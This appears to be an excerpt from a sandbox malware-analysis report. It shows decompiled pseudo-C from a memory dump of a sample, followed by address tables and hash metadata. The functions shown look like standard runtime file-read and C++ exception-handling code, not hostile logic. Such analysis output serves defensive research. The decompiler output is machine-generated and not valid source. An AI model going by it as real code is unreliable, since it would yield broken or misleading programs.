										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
										_t200 = _a4;
										__eflags = _t180 - 0xa;
										if(_t180 != 0xa) {
											__eflags = _t210;
											if(_t210 != 0) {
												_t235 = 1;
												 *_t229 = _t180;
												_t231 = _t229 + 1;
												_t220 = _t210 - 1;
												__eflags = _v5;
												_v24 = _t231;
												_v16 = _t220;
												 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2a)) = 0xa;
												_t200 = _a4;
												if(_v5 != 0) {
													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b));
													_t200 = _a4;
													__eflags = _t185 - 0xa;
													if(_t185 != 0xa) {
														__eflags = _t220;
														if(_t220 != 0) {
															 *_t231 = _t185;
															_t232 = _t231 + 1;
															_t221 = _t220 - 1;
															__eflags = _v5 - 1;
															_v24 = _t232;
															_t235 = 2;
															_v16 = _t221;
															 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b)) = 0xa;
															_t200 = _a4;
															if(_v5 == 1) {
																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c));
																_t200 = _a4;
																__eflags = _t190 - 0xa;
																if(_t190 != 0xa) {
																	__eflags = _t221;
																	if(_t221 != 0) {
																		 *_t232 = _t190;
																		_t222 = _t221 - 1;
																		__eflags = _t222;
																		_v16 = _t222;
																		_v24 = _t232 + 1;
																		_t235 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t160 = E00427E57(_t200);
									__eflags = _t160;
									if(_t160 == 0) {
										L42:
										_v36 = 0;
										L43:
										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											L54:
											_t164 = GetLastError();
											_t235 = 5;
											__eflags = _t164 - _t235;
											if(__eflags != 0) {
												__eflags = _t164 - 0x6d;
												if(_t164 != 0x6d) {
													L38:
													E0041353B(_t164);
													goto L39;
												}
												_t236 = 0;
												goto L40;
											}
											 *((intOrPtr*)(E00413571(__eflags))) = 9;
											 *(E0041355E(__eflags)) = _t235;
											goto L39;
										}
										_t217 = _a12;
										__eflags = _v32 - _t217;
										if(_v32 > _t217) {
											goto L54;
										}
										_t236 = _t235 + _v32;
										__eflags = _t236;
										L46:
										_t230 = _v20;
										_t169 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
										__eflags =  *((char*)(_t230 + _t169 + 0x28));
										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v36;
												_push(_t236 >> 1);
												_push(_v40);
												_push(_t200);
												if(_v36 == 0) {
													_t170 = E0041D26E();
												} else {
													_t170 = E0041D574();
												}
											} else {
												_t218 = _t217 >> 1;
												__eflags = _t217 >> 1;
												_t170 = E0041D41D(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
											}
											_t236 = _t170;
										}
										goto L40;
									}
									_t219 = _v20;
									_t172 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									__eflags =  *((char*)(_t219 + _t172 + 0x28));
									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
										goto L42;
									}
									_t174 = GetConsoleMode(_v28,  &_v44);
									__eflags = _t174;
									if(_t174 == 0) {
										goto L42;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L43;
									}
									_t111 =  &_v16; // 0xa
									_t178 = ReadConsoleW(_v28, _v24,  *_t111 >> 1,  &_v32, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										_t217 = _a12;
										_t236 = _t235 + _v32 * 2;
										goto L46;
									}
									_t164 = GetLastError();
									goto L38;
								} else {
									 *((intOrPtr*)(E00413571(__eflags))) = 0xc;
									 *(E0041355E(__eflags)) = 8;
									L39:
									_t236 = _t235 | 0xffffffff;
									__eflags = _t236;
									L40:
									E0041E238(_t240);
									return _t236;
								}
							}
						}
						__eflags = _t228 == 1;
						if(_t228 == 1) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags != 0) {
								_t229 = _a8;
								_v16 = _t210;
								_v24 = _t229;
								_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
								goto L22;
							}
							goto L14;
						} else {
							_t229 = _a8;
							_v16 = _t210;
							_v24 = _t229;
							goto L22;
						}
					}
					L6:
					 *(E0041355E(__eflags)) =  *_t145 & 0x00000000;
					 *((intOrPtr*)(E00413571(__eflags))) = 0x16;
					goto L60;
				} else {
					 *(E0041355E(_t246)) =  *_t197 & 0x00000000;
					_t139 = E00413571(_t246);
					 *_t139 = 9;
					L61:
					return _t139 | 0xffffffff;
				}
			}

0x0041d70c
0x0041d710
0x0041d713
0x0041d72d
0x0041d72f
0x0041da94
0x0041da94
0x0041da99
0x0041da99
0x0041daa1
0x0041daa7
0x0041daa7
0x00000000
0x0041daa7
0x0041d735
0x0041d73b
0x00000000
0x00000000
0x0041d745
0x0041d74b
0x0041d74e
0x0041d751
0x0041d75b
0x0041d75e
0x0041d761
0x0041d765
0x0041d767
0x00000000
0x00000000
0x0041d76d
0x0041d770
0x0041d776
0x0041d790
0x0041d792
0x0041da90
0x00000000
0x0041da90
0x0041d798
0x0041d79b
0x00000000
0x00000000
0x0041d7a1
0x0041d7a5
0x00000000
0x00000000
0x0041d7ab
0x0041d7ae
0x0041d7b2
0x0041d7b9
0x0041d7bb
0x0041d7bb
0x0041d7be
0x0041d813
0x0041d815
0x0041d7db
0x0041d7e0
0x0041d7e7
0x0041d7ed
0x00000000
0x0041d817
0x0041d819
0x0041d81a
0x0041d81c
0x0041d81f
0x0041d821
0x0041d823
0x0041d825
0x0041d825
0x0041d830
0x0041d832
0x0041d839
0x0041d83e
0x0041d841
0x0041d844
0x0041d846
0x0041d86a
0x0041d872
0x0041d875
0x0041d87c
0x0041d883
0x0041d887
0x0041d889
0x0041d88c
0x0041d893
0x0041d893
0x0041d896
0x0041d898
0x0041d89b
0x0041d8a0
0x0041d8a3
0x0041d8ac
0x0041d8b0
0x0041d8b3
0x0041d8b5
0x0041d8bb
0x0041d8bd
0x0041d8c6
0x0041d8c7
0x0041d8c9
0x0041d8cd
0x0041d8ce
0x0041d8d2
0x0041d8d5
0x0041d8df
0x0041d8e4
0x0041d8e7
0x0041d8f6
0x0041d8fa
0x0041d8fd
0x0041d8ff
0x0041d901
0x0041d903
0x0041d908
0x0041d90a
0x0041d90e
0x0041d90f
0x0041d915
0x0041d91f
0x0041d920
0x0041d923
0x0041d928
0x0041d92b
0x0041d93a
0x0041d93e
0x0041d941
0x0041d943
0x0041d945
0x0041d947
0x0041d949
0x0041d94f
0x0041d94f
0x0041d950
0x0041d95f
0x0041d962
0x0041d963
0x0041d963
0x0041d947
0x0041d943
0x0041d92b
0x0041d903
0x0041d8ff
0x0041d8e7
0x0041d8bd
0x0041d8b5
0x0041d969
0x0041d96f
0x0041d971
0x0041d9e4
0x0041d9e4
0x0041d9e8
0x0041d9f8
0x0041d9fe
0x0041da00
0x0041da5c
0x0041da5c
0x0041da64
0x0041da65
0x0041da67
0x0041da80
0x0041da83
0x0041d9c0
0x0041d9c1
0x00000000
0x0041d9c6
0x0041da89
0x00000000
0x0041da89
0x0041da6e
0x0041da79
0x00000000
0x0041da79
0x0041da02
0x0041da05
0x0041da08
0x00000000
0x00000000
0x0041da0a
0x0041da0a
0x0041da0d
0x0041da10
0x0041da13
0x0041da1a
0x0041da1f
0x0041da21
0x0041da25
0x0041da40
0x0041da44
0x0041da45
0x0041da48
0x0041da49
0x0041da55
0x0041da4b
0x0041da4b
0x0041da4b
0x0041da27
0x0041da27
0x0041da27
0x0041da32
0x0041da37
0x0041da3a
0x0041da3a
0x00000000
0x0041da1f
0x0041d976
0x0041d979
0x0041d980
0x0041d985
0x00000000
0x00000000
0x0041d98e
0x0041d994
0x0041d996
0x00000000
0x00000000
0x0041d998
0x0041d99c
0x00000000
0x00000000
0x0041d9a4
0x0041d9b0
0x0041d9b6
0x0041d9b8
0x0041d9dc
0x0041d9df
0x00000000
0x0041d9df
0x0041d9ba
0x00000000
0x0041d848
0x0041d84d
0x0041d858
0x0041d9c7
0x0041d9c7
0x0041d9c7
0x0041d9ca
0x0041d9cb
0x00000000
0x0041d9d3
0x0041d846
0x0041d815
0x0041d7c0
0x0041d7c3
0x0041d7d7
0x0041d7d9
0x0041d7fa
0x0041d7fd
0x0041d800
0x0041d803
0x00000000
0x0041d803
0x00000000
0x0041d7c5
0x0041d7c5
0x0041d7c8
0x0041d7cb
0x00000000
0x0041d7cb
0x0041d7c3
0x0041d778
0x0041d77d
0x0041d785
0x00000000
0x0041d715
0x0041d71a
0x0041d71d
0x0041d722
0x0041daac
0x00000000
0x0041daac

Strings

, xrefs: 0041D9A4, 0041D9A9

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 9983ef659ef28bb2c7742fc4bec09b411bf4c6f7b304ab43fc1bafd3bdf25fb9
Instruction ID: 9793297be83448982c1ca182a2ab524ea74c94322569a1b9c5e308745a7a317f
Opcode Fuzzy Hash: 9983ef659ef28bb2c7742fc4bec09b411bf4c6f7b304ab43fc1bafd3bdf25fb9
Instruction Fuzzy Hash: 45C103F4E04205AFDF15DF99C880BEEBBB1AF49344F04415AE415AB392C77899C1CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00412092 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00412092(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E0041312D(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E00419BC9(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_t203 = E00411D16(_t275, _t279, _t300, _t305, _t319, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E00411D16(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E0040FC08(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E0040FB3B(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push("true");
										E00412012(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E00419BC9(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E00411D16(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E00411D16(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E00411D16(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E00411D16(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E0040FB3B(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E00412012(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push("true");
														E0040FF75(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E00411D16(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E00412AA1(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E00411D16(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E00411D16(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E00411D16(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E00411D16(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E00412AA1(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E0041C68D(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E00412735( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x44fb08) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push("true");
											_push(_t274);
											E0040FF75(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E0041271D( &_v64);
											E004103CB( &_v64, 0x43b934);
											L63:
											 *(E00411D16(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E00411D16(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E0040FD2E(_t279, _t319, _t274);
											E004129A1(_a8, _a16, _t305);
											_t235 = E00412B5E(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E00412918(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x00412092
0x00412099
0x0041209b
0x004120a4
0x004120aa
0x004120b2
0x004120b4
0x004120b7
0x004120bd
0x00412436
0x00412436
0x0041243b
0x0041243d
0x0041243f
0x00412442
0x00412443
0x00412446
0x0041244c
0x0041256b
0x00412452
0x00412454
0x0041245b
0x0041245e
0x00412461
0x00412467
0x00412469
0x0041246e
0x00412471
0x00412473
0x00412479
0x0041247b
0x00412481
0x00412496
0x0041249b
0x0041249e
0x004124a0
0x00412567
0x00000000
0x00412568
0x004124a0
0x00412481
0x00412479
0x00412471
0x004124a6
0x004124a9
0x004124ac
0x004124af
0x004124b2
0x004124b8
0x004124ca
0x004124cf
0x004124d2
0x004124d5
0x004124d8
0x004124db
0x004124de
0x004124e1
0x00000000
0x00000000
0x004124e7
0x004124e7
0x004124ea
0x004124ed
0x004124fc
0x004124fd
0x004124fd
0x004124ff
0x00412502
0x00000000
0x00000000
0x00412504
0x00412507
0x00000000
0x00000000
0x00412515
0x00412517
0x0041251a
0x0041251c
0x00412524
0x00412524
0x00412527
0x00412529
0x0041252b
0x00412547
0x0041254c
0x0041254f
0x0041254f
0x00000000
0x00412527
0x0041251e
0x00412522
0x00000000
0x00000000
0x00000000
0x00412552
0x00412555
0x00412556
0x00412559
0x0041255c
0x0041255f
0x00412562
0x00412562
0x00000000
0x004124ed
0x0041256c
0x00412571
0x00412572
0x00412575
0x00412578
0x00412579
0x0041257a
0x0041257b
0x0041257e
0x00412580
0x004125f8
0x004125fa
0x004125fa
0x00412582
0x00412582
0x00412585
0x00412588
0x00000000
0x0041258a
0x0041258a
0x0041258d
0x00412590
0x00412597
0x00412597
0x0041259a
0x0041259c
0x0041259e
0x004125d0
0x004125d0
0x004125d3
0x004125da
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x004125e7
0x004125ea
0x004125f1
0x004125f3
0x004125f3
0x004125ec
0x004125ec
0x004125ef
0x00000000
0x00000000
0x004125ef
0x004125e2
0x004125e2
0x004125e5
0x00000000
0x00000000
0x004125e5
0x004125d5
0x004125d5
0x004125d8
0x00000000
0x00000000
0x004125d8
0x004125f4
0x004125a0
0x004125a0
0x004125a0
0x004125a3
0x004125a3
0x004125a5
0x004125a7
0x00000000
0x00000000
0x004125a9
0x004125ab
0x004125bf
0x004125bf
0x004125ad
0x004125ad
0x004125b0
0x004125b3
0x00000000
0x004125b5
0x004125b5
0x004125b8
0x004125bb
0x004125bd
0x00000000
0x00000000
0x00000000
0x00000000
0x004125bd
0x004125b3
0x004125c8
0x004125c8
0x004125ca
0x00000000
0x004125cc
0x004125cc
0x004125cc
0x00000000
0x004125ca
0x004125c3
0x004125c5
0x004125c5
0x00000000
0x004125c5
0x00412592
0x00412592
0x00412595
0x00000000
0x00000000
0x00000000
0x00000000
0x00412595
0x00412590
0x00412588
0x004125fb
0x004125ff
0x004125ff
0x004120cc
0x004120cc
0x004120d5
0x004121d2
0x004121d2
0x004121d5
0x00000000
0x00412104
0x00412104
0x00412109
0x00000000
0x0041210f
0x0041210f
0x00412117
0x004123d0
0x004123d4
0x0041211d
0x00412122
0x00412125
0x0041212a
0x00412131
0x00412136
0x00000000
0x0041216e
0x00412176
0x004121da
0x004121da
0x004121dd
0x004121e0
0x004121e2
0x004121e5
0x004121e8
0x004121ee
0x0041239f
0x0041239f
0x004123a2
0x00000000
0x004123a4
0x004123a4
0x004123a7
0x00000000
0x004123ad
0x004123ad
0x004123b0
0x004123b3
0x004123b4
0x004123b5
0x004123b8
0x004123b9
0x004123bc
0x004123bd
0x004123c2
0x00000000
0x004123c2
0x004123a7
0x004121f4
0x004121f4
0x004121f8
0x00000000
0x004121fe
0x004121fe
0x00412205
0x0041221d
0x0041221d
0x00412220
0x00412223
0x00412229
0x00412239
0x0041223e
0x00412241
0x00412244
0x00412247
0x0041224a
0x0041224d
0x00412250
0x00412256
0x00412256
0x00412259
0x0041225c
0x0041226b
0x0041226c
0x0041226c
0x0041226e
0x00412271
0x00412277
0x0041227a
0x00412280
0x00412282
0x00412285
0x00412288
0x00412291
0x00412294
0x00412296
0x00412296
0x00412299
0x0041229c
0x0041229f
0x004122a2
0x004122a5
0x004122aa
0x004122ab
0x004122ac
0x004122ad
0x004122ae
0x004122b1
0x004122b3
0x004122b5
0x00000000
0x004122b7
0x004122b7
0x004122b7
0x004122ba
0x004122bd
0x004122bf
0x004122c0
0x004122c5
0x004122c8
0x004122ca
0x00000000
0x00000000
0x004122cc
0x004122cd
0x004122d0
0x004122d2
0x00000000
0x004122d4
0x004122d4
0x004122d7
0x004122da
0x00000000
0x004122da
0x00000000
0x004122d2
0x004122ee
0x004122f4
0x00412311
0x00412316
0x00412316
0x00412319
0x00412319
0x00000000
0x004122dd
0x004122dd
0x004122de
0x004122e1
0x004122e4
0x004122e7
0x004122e7
0x00000000
0x004122ec
